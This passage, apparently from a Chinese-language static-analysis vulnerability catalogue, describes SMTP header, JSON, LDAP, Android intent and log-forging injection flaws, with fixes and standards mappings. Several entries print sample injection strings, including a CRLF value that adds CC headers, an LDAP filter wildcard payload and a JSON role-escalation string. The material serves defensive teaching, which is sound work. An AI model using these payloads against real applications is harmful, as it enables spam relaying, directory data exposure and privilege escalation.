[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
[29] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
Header Manipulation: SMTP
ABSTRACT
在 SMTP 头中包括未经验证的数据使得攻击者可以添加任意标题(如 CC 或 BCC),从而利用这些标题向其本身泄露邮件内容或将邮件服务器用作垃圾邮件自动程序。
EXPLANATION
在以下情况下会发生 SMTP Header Manipulation 漏洞:
数据通过一个不可信赖的数据源进入应用程序,最常见的是 Web 应用程序中的 HTTP 请求。
数据包含在一个 SMTP 头中,该 SMTP 头未经验证就发送给了邮件服务器。
如同许多软件安全漏洞一样,SMTP Header Manipulation 只是通向终端的一个途径,它本身并不是终端。从本质上看,这些漏洞是显而易见的:攻击者可将恶意数据传送到易受攻击的应用程序,且该应用程序将这些数据包含在 SMTP 头中。
一种最常见的 SMTP Header Manipulation 攻击用于分发垃圾邮件。如果应用程序包含一个允许设置电子邮件主题和正文的易受攻击的“联系我们”表单,攻击者将能够设置任意内容,并注入包含匿名(因为电子邮件是从受害者服务器发送的)指向垃圾邮件的电子邮件地址列表的 CC 标题。
示例:以下代码段读取“联系我们”表单的主题和正文:
1 | String subject = request.getParameter("subject"); |
假设在请求中提交了一个由标准字母和数字字符组成的字符串,如“Page not working”,那么 SMTP 头可能表现为以下形式:
1 | ... |
然而,因为该头的值是利用未经验证的用户输入构造的,所以仅当提交给 subject 的值不包含任何 CR 和 LF 字符时,响应才会保留这种形式。如果攻击者提交恶意字符串,例如“Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com …”
,则 SMTP 头将表现为以下形式:
1 | ... |
这将有效地允许攻击者制造垃圾邮件,或者发送匿名电子邮件等攻击。
RECOMMENDATIONS
针对 SMTP Header Manipulation 的解决方法是,确保在适当位置进行输入验证并检验其属性是否正确。
由于 SMTP Header Manipulation 漏洞出现在应用程序的输出中包含恶意数据时,因此,一个合乎逻辑的做法是在头上下文中使用数据前一刻对其进行验证,并确保没有非法 CRLF 字符可以破坏头结构。
REFERENCES
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 93
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
Insecure Sanitizer Policy
ABSTRACT
使用用户控制或不可信赖的数据来定义 HTML sanitizer 策略可能会允许攻击者避开清除要求并发起 cross-site scripting (XSS) 攻击。
EXPLANATION
涵盖性术语“输入处理”描述了输入数据验证、清除、筛选和编码/解码等功能。Cross-site scripting、SQL injection 和 process control 漏洞是由于输入处理不正确或者缺少输入处理造成的。清除输入需要将输入转换为可接受表单,通常在输入验证的基础上实施。HTML 清除是指清除和清理用户输入,以便仅允许被认为是安全的标签、属性和元素。 实施彻底的 HTML 清除策略十分困难;成功实施的关键是了解使用数据的上下文。每个上下文都有其各自的漏洞,应具体情况具体分析。使用 HTML sanitizer(例如 OWASP HTML sanitizer)防止 Web 应用程序中出现 XSS 漏洞是明智的,但实施不当会导致虚假安全。
例 1:以下 Java 代码使用用户控制的输入变量 elements 构建 HTML sanitizer 策略:
1 | ... |
恶意用户可能会通过将危险元素(如 <script>
)提供给 elements 而使 HTML sanitizer 策略接受这些元素。
RECOMMENDATIONS
- 不要允许使用用户提供/控制的数据构建 HTML sanitizer 策略的组件。
- 不要允许全局使用关键属性。始终应用筛选器以允许限制的数值集合,并将该权限限制为特定的元素集合
- 每个上下文都有其各自的漏洞,并且由于在一个上下文中使用另一个上下文而变得复杂(例如,CSS 中的 JavaScript)。确保 sanitizer 策略限制是合理的,并且不可能打破允许的上下文。
REFERENCES
[1] OWASP Cross-Site Scripting (XSS) Prevention Cheat Sheet
[2] Understanding Malicious Content Mitigation for Web Developers CERT
[3] HTML 4.01 Specification W3
[4] Input Validation and Representation Micro Focus Fortify
[5] INPUT-1: Validate inputs Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - FIPS200 SI
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-15 Information Output Filtering (P0)
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[10] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[11] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[12] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[20] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[21] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[22] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
Intent Manipulation
ABSTRACT
通过允许用户输入来控制 Intent 参数,使得攻击者可以控制后续活动的行为。
EXPLANATION
当满足以下两个条件时,就会发生意图操控问题:
- 攻击者能够指定 Android Intent 的操作、类名或组件。
例如,攻击者能够指定类名或组件来处理此意图。
- 攻击者可以通过指定操作、类名或组件来获取某种权限,而这种权限在一般情况下是不可能获得的。
例如,程序可能会允许攻击者将敏感信息传输到设备上的第三方软件中。
示例 1:以下代码使用从 HTTP 请求中读取的参数来设置意图的类名。
1 | String arg = request.getParameter("arg"); |
RECOMMENDATIONS
防止意图操控的最佳方法是采用一种间接手段:创建一个用户可以指定的合法意图操作、类名或组件的列表,并且只允许此用户从该列表中进行选择。通过这种方法,用户提供的输入就不能直接用来指定这些关键意图的详细信息了。
REFERENCES
[1] Intent
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 99
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[9] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[10] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
JSON Injection
ABSTRACT
该方法会将未经验证的输入写入 JSON。攻击者可以利用此调用将任意元素或属性注入 JSON 实体。
EXPLANATION
JSON injection 会在以下情况中出现:
数据从一个不可信赖的数据源进入程序。
将数据写入到 JSON 流。
应用程序通常使用 JSON 来存储数据或发送消息。用于存储数据时,JSON 通常会像缓存数据那样处理,而且可能会包含敏感信息。用于发送消息时,JSON 通常与 RESTful 服务一起使用,并且可以用于传输敏感信息,例如身份验证凭据。
如果应用程序利用未经验证的输入构造 JSON,则可以更改 JSON 文档和消息的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON 文档或请求时抛出异常。在更为严重的情况下,例如涉及 JSON injection,攻击者可能会插入无关的元素,从而允许对 JSON 文档或请求中对业务非常关键的值执行可预见操作。还有一些情况,JSON injection 可以导致 cross-site scripting 或 dynamic code evaluation。
例 1:以下 Java 代码使用 Jackson 将非特权用户(这些用户具有“默认”角色,与之相反,特权用户具有“管理员”角色)的用户帐户身份验证信息从用户控制的输入变量 username 和 password 序列化为位于 ~/user_info.json 的 JSON 文件:
1 | ... |
但是,由于 JSON 序列化使用 JsonGenerator.writeRawValue() 来执行,将不会对 username 和 password 中的不可信赖数据进行验证以转义与 JSON 相关的特殊字符。这样,用户就可以任意插入 JSON 密钥,可能会更改已序列化的 JSON 的结构。在本例中,在设置 username 的值的提示符下输入用户名时,如果非特权用户 mallory(密码为 Evil123!)将 “,”role“:“admin 附加到其用户名中,则最终保存到 ~/user_info.json 的 JSON 将为:
1 | { |
如果随后将此序列化 JSON 文件反序列化为 HashMap 对象,其中 Jackson 的 JsonParser 如下所示:
1 | JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json")); |
HashMap 对象中 username、password 和 role 密钥的最终值将分别为 mallory、Evil123! 和 admin。在没有进一步验证反序列化 JSON 值是否有效的情况下,应用程序会错误地为用户分配 mallory“管理员”特权。
RECOMMENDATIONS
将用户提供的数据写入 JSON 时,应该遵守以下准则:
不要创建名称来自用户输入的 JSON 属性。
确保使用安全的序列化函数(能够以单引号或双引号分隔不可信赖的数据,并且避免任何特殊字符)执行对 JSON 的所有序列化操作。
例 2:以下 Java 代码实施了与例 1 相同的功能,但使用了 JsonGenerator.writeString() 代替 JsonGenerator.writeRawValue() 来对数据执行序列化操作,因此可以确保适当地分隔和避开任何不可信赖的数据:
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 91
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[7] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2010 A1 Injection
[9] Standards Mapping - OWASP Top 10 2013 A1 Injection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
LDAP Entry Poisoning
ABSTRACT
执行对象返回 LDAP 搜索的应用程序会允许攻击者控制 LDAP 响应以在服务器上运行任意代码。
EXPLANATION
凡是能够通过随意修改条目或动态拦截和修改响应(中间人攻击)篡改 LDAP 响应的攻击者,都能够将特殊 Java 属性注入到 LDAP 条目中。当执行对象返回搜索时,会使用 Java 反序列化或 JNDI 间接引用来将 Java 属性解码为 Java 对象,这会使攻击者能够在执行搜索的应用程序服务器上远程执行代码。
应用程序通过在传递给 search 方法的 javax.naming.directory.SearchControls 实例上将 returningObjectFlag 设置为 true,或者通过使用代表自身设置此标签的库函数,来执行对象返回搜索。
在这种情况下,应用程序使用 Spring Security LDAP 身份验证模块,该模块执行对象返回搜索,因此很容易受到 LDAP 条目中毒攻击。
示例:下面的 Beans 配置文件对应用程序进行配置,以使用 Spring Security LDAP 模块作为身份验证提供者。
1 | <beans ... > |
RECOMMENDATIONS
如果不使用 LDAP 来存储 Java 对象,则不要仅仅为了获得代表结果条目的 DirContext 封装而执行对象返回搜索。请使用常规搜索获取属性。
在写入时,Spring Security 3.2.0 版之前的版本容易受到 LDAP 条目中毒攻击。没有安全的配置,因此请考虑使用其他库(例如 Apache Shiro)来执行 LDAP 身份验证。
REFERENCES
[1] Introducing JNDI Injection and LDAP Entry Poisoning Micro Focus Fortify
[2] A Journey from JNDI/LDAP manipulation to remote code execution dream land BlackHat
[3] Standards Mapping - Common Weakness Enumeration CWE ID 20
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
LDAP Injection
ABSTRACT
通过用户输入构造的动态 LDAP 筛选器允许攻击者修改指令的含义。
EXPLANATION
LDAP injection 错误在以下情况下出现:
数据从一个不可信赖的数据源进入程序。
该数据用于动态构造一个 LDAP 筛选器。
例 1:以下代码动态构造一个 LDAP 查询,并对其加以执行,该查询可以检索所有报告给指定经理的雇员记录。该经理的名字是从 HTTP 请求中读取的,因此不可信任。
1 | ... |
在正常情况下,诸如搜索向 John Smith 经理报告的雇员,该代码执行的筛选器如下:
(manager=Smith, John)
但是,由于筛选器是通过连接一个常数基本查询串和一个用户输入串动态构造而成的,因此,该查询只在 managerName 不包含任何 LDAP 元字符时才能正常运行。如果攻击者为 managerName 输入字符串 Hacker, Wiley)(|(objectclass=*),则该查询会变成:
1 | (manager=Hacker, Wiley)(|(objectclass=*)) |
根据执行查询的权限,增加 |(objectclass=*) 条件会导致筛选器与目录中的所有输入都匹配,而且会使攻击者检索到有关用户输入池的信息。根据执行 LDAP 查询的权限大小,此次攻击的影响范围可能会有所差异,但是如果攻击者可以控制查询的命令结构,那么这样的攻击至少会影响执行 LDAP 查询的用户可以访问的所有记录。
RECOMMENDATIONS
LDAP injection 漏洞的根本原因是攻击者提供了可以改变 LDAP 查询含义的 LDAP 元字符。构造 LDAP 筛选器后,程序员会清楚哪些字符应作为命令解析,而哪些字符应作为数据解析。
为了防止攻击者侵犯程序员的各种预设情况,可以使用白名单的方法,确保 LDAP 查询中由用户控制的数值完全来自于预定的字符集合,不包含任何上下文中所已使用的 LDAP 元字符。如果由用户控制的数值范围要求它必须包含 LDAP 元字符,则使用相应的编码机制删除这些元字符在 LDAP 查询中的意义。
例 2:可以对上述例子进行重写。以便使用 Spring 框架 EqualsFilter 类来构造一个编码得当的筛选器字符串。不论请求参数中是否存在 LDAP 元字符,这一字符串都可以保护指令的命令结构。
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 90
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - MISRA C 2012 Rule 1.3
[5] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium 24 + 2 LDAP Injection
[30] Standards Mapping - Web Application Security Consortium Version 2.00 LDAP Injection (WASC-29)
LDAP Manipulation
ABSTRACT
执行一个 LDAP 指令,该指令包含了由用户控制的数值字符串,且使用滤字符串以外的字符,这可能会使攻击者改变指令的含义或执行非法 LDAP 命令。
EXPLANATION
LDAP manipulation 错误在以下情况中出现:
数据从一个不可信赖的数据源进入程序。
数据在一个动态 LDAP 指令的滤字符串之外使用。
例 1:以下代码从一个 HTTP 请求里读取用户名和密码,并且使用它去执行 LDAP 查询。
1 | env.put(Context.SECURITY_AUTHENTICATION, "none"); |
因为该查询包含用户输入,且会在匿名绑定下执行,因此,该查询会返回所有指定用户名的详细信息,而不会考虑其密码是否与指定密码相匹配。攻击者可以有效使用以下代码查询系统中任意雇员的详细信息,这是一个严重的 privacy violation。问题在于开发人员没能充分利用适当的 access control 机制来限制查询,使查询只能读取那些允许当前用户读取的雇员记录。
RECOMMENDATIONS
应用程序应该执行精确验证和通过绑定到具体的用户目录的方式来加强 access control 约束,而不是仅仅依赖于表示层来限制用户提交的值。在任何情况下,只要没有适当的权限,都不应该允许用户检索或修改目录中的相关记录。访问目录的每个查询应该执行该策略,这就意味着只有完全受限的查询在匿名绑定的情况下执行,从而有效避免了在 LDAP 系统上建立 access control 机制。
例 2:以下代码实现的功能与例 1 相同,但使用 LDAP 简单 authentication 来确保查询只影响到当前授权访问的用户记录,并以数字形式解析雇员 ID 来确保其不能包含任何 LDAP 元字符。
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 90
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - MISRA C 2012 Rule 1.3
[5] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[14] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
Log Forging
ABSTRACT
将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志。
EXPLANATION
在以下情况下会发生 Log Forging 的漏洞:
数据从一个不可信赖的数据源进入应用程序。
数据写入到应用程序或系统日志文件中。
为了便于以后的审阅、统计数据收集或调试,应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性,审阅日志文件可在必要时手动执行,也可以自动执行,即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。
如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据,则可能会妨碍或误导日志文件的解读。最理想的情况是,攻击者可能通过向应用程序提供包括适当字符的输入,在日志文件中插入错误的条目。如果日志文件是自动处理的,那么攻击者就可以通过破坏文件格式或注入意外的字符,从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式,受到破坏的日志文件可用于掩护攻击者的跟踪轨迹,甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是,攻击者可能向日志文件注入代码或者其他命令,利用日志处理实用程序中的漏洞 [2]。
例 1: 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数,输入就会被记录到日志中,附带一条提示相关情况的错误消息。
1 | ... |
如果用户为“val”提交字符串“twenty-one”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
然而,如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”
,则日志中会记录以下条目:
1 | INFO: Failed to parse val=twenty-one |
显然,攻击者可以使用同样的机制插入任意日志条目。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 Log Forging)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
例 2:以下代码将例 1 改编为适用于 Android 平台。
1 | ... |
RECOMMENDATIONS
使用间接方法防止 Log Forging 攻击:创建一组与不同事件一一对应的合法日志条目,这些条目必须记录在日志中,并且仅记录该组条目。要捕获动态内容(如用户注销系统),请务必使用由服务器控制的数值,而非由用户提供的数据。这就确保了日志条目中绝不会直接使用由用户提供的输入。
可以按以下方式将例 1 重写为与 NumberFormatException 对应的预定义日志条目:
1 | ... |
下面是 Android 的等同内容:
1 | ... |
在某些情况下,这个方法有些不切实际,因为这样一组合法的日志条目实在太大或是太复杂了。这种情况下,开发者往往又会退而采用黑名单方法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。然而,不安全字符列表很快就会不完善或过时。更好的方法是创建一份白名单,允许其中的字符出现在日志条目中,并且只接受完全由这些经认可的字符组成的输入。在大多数 Log Forging 攻击中,最关键的字符是“\n”(换行符),该字符决不能出现在日志条目白名单中。
REFERENCES
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] IDS03-J. Do not log unsanitized user input CERT
[4] INPUT-1: Validate inputs Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 117
[6] Standards Mapping - FIPS200 AU, SI
